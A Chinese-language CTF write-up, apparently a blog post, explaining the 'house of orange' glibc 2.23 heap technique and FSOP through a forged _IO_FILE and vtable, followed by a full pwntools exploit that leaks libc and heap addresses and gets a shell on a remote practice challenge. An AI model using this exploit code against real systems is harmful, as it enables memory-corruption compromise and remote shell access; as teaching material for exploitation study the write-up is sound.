house_of_orange

知识

这个题目是一种手法,就叫house of orange

应对情况是题目没有free函数,而且可以修改top chunk的size。

house of orange的条件
//1.修改topchunk size后,top addr+top size = mem page(内存页对齐0x1000倍数)
//2.top size inuse bit = 1
//3.布置好后申请chunk size > top size

然后就会把修改size后的top chunk放入unsortedbin中。

此时申请一个large chunk出来,上面就会有libc地址和heap地址

unsortedbin attack 构造 FSOP
//原理
将unsorted chunk的bk改为_IO_list_all-0x10,触发攻击后,_IO_list_all会指向main_arena+88,将这里当成是一个IO_file_plus的头部,所以他对应的_chain字段在main_arena+0xc0,也就是smallbin[0x60]的地方,此时如果有一个0x60大小的chunk在这里,就会被当作是IO_file_plus结构体,我们布置好这个chunk,就可以制作fake_file.
//_IO_list_all->main_arena+88(file1)->chunk[0x60](fake_file2)
触发攻击用的是,申请chunk失败时,会调用
//malloc_printerr()->__libc_message()->abort()->_IO_flush_all_lockp()->_IO_OVERFLOW()
_IO_flush_all_lockp()会去调用每一个file的overflow
也有前提条件
//write_ptr>write_base && mode<=0
所以我们构造fp头部为"/bin/sh"(调用vtable函数时,会将fp作为参数),write_ptr=1,write_base=0,mode=0,vtable->fake vtable,因为overflow的偏移是3,所以把fake vtable[3]=system

操作
unsortedbin attack和fake_file同时构造
//1.溢出修改unsortedchunk(old_top)的头为"/bin/sh\x00",size为0x61
//2.fd为0,bk为_IO_list_all-0x10
前面四个就是flag,read ptr base end
所以接下来就是write_base , write_ptr
//3.p64(0)+p64(1) base=0,ptr=1
//4.填充到mode(一共0xc0),mode=0
//5.填充p64(0)*2到vtable
//6.vtable指向vtable_addr+0x8,填充p64(0)*3+system

例题

本题中edit函数中读入的size没有和add中的size保持一致,所以可以随意溢出。

修改top size,申请0x1000,将top chunk放入unsortedbin,申请0x400largechunk,泄露libc和heap

之后溢出构造unsorted chunk为fake_file+fake_vtable

最后输入1,会去调用malloc(0x10),他会先去拿0x60大小的unsorted chunk,触发usortedbin attack,

此时,_ IO_list_all->main_arena+88,unsortedbin->_IO_list_all,

又因为unsortedbin中不止一个chunk(因为bck->bk不指向unsortedbin),就不会切片,所以0x60不符合要求,会被放入smallbin[0x60]中,此时我们的fake_file就布置好了,

然后他会去找unsortedbin接着要0x10的内存,因为此时unsortedbin->_IO_list_all,所以申请内存会报错调用malloc _printerr,它最后就会遍历到smallbin[0x60],调用fake_vtable[3],也就是构造好的system(fp),fp指向的又是”/bin/sh“,最终getshell,可能会因为栈原因失败几次,但多试试,肯定能getshell。

exp

from pwn import *
context(os='linux',arch='amd64',log_level='debug')

#libc
#libc = ELF('/home/hacker/glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/libc-2.23.so')
libc = ELF("/home/hacker/Desktop/libc/amd64/libc-2.23.so")
#p
elf = ELF('./orange')
#p = process('./orange')
p = remote("node4.buuoj.cn",29395)

def menu(idx):
	p.sendlineafter("Your choice : ",str(idx))

def add(size,name,price,color):
	menu(1)
	p.sendlineafter("Length of name :",str(int(size)))
	p.sendafter("Name :",name)
	p.sendlineafter("Price of Orange:",str(price))
	p.sendlineafter("Color of Orange:",str(color))

def edit(size,name,price,color):
	menu(3)
	p.sendlineafter("Length of name :",str(int(size)))
	p.sendafter("Name:",name)
	p.sendlineafter("Price of Orange:",str(price))
	p.sendlineafter("Color of Orange:",str(color))

def show():
	menu(2)


add(0x30,'a'*0x30,10,1)
edit(0x100,'a'*0x50+p64(0)+p64(0xf81),10,1)#change top size

add(0x1000,'a'*0x30,10,1)#make top into unsortedbin

add(0x400,'\x78',10,1)#cut unsorted chunk
#and it's has libc and self addr
show()
p.recvuntil("Name of house : ")
libc_base = u64(p.recv(6).ljust(8,'\x00'))-1624-0x10-libc.sym["__malloc_hook"]
log.info("libc_base="+hex(libc_base))

edit(0x10,'a'*(0x10-1)+'x',10,1)#cover main_arena ptr
show()
p.recvuntil('x')
heap_base = u64(p.recv(6).ljust(8,'\x00'))-0xe0
log.info("heap_base="+hex(heap_base))


#overflow to change unsorted bin
payload = 'a'*0x400+p64(0)+p64(0x21)+'b'*0x10#ex chunk and price color

#flag read_base ptr end
fakefile = "/bin/sh\x00" + p64(0x61)
fakefile += p64(0)+p64(libc_base+libc.sym["_IO_list_all"]-0x10)

#condition 1: base<ptr
fakefile += p64(0)+p64(1)#write base ptr

#fill before mode
fakefile = fakefile.ljust(0xc0,'\x00')

#condition 2: mode <= 0
fakefile += p64(0)#mode
fakefile += p64(0)*2

#vtable
fakefile += p64(heap_base+0x5f0)#aim to fakevatble


fakevtable = p64(0)*3
fakevtable += p64(libc_base+libc.sym["system"])#overflow

payload += fakefile+fakevtable
edit(0x800,payload,10,1)
#gdb.attach(p)
menu('1')#malloc to trigger malloc printerr-> lockp()-> overflow()
p.interactive()
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值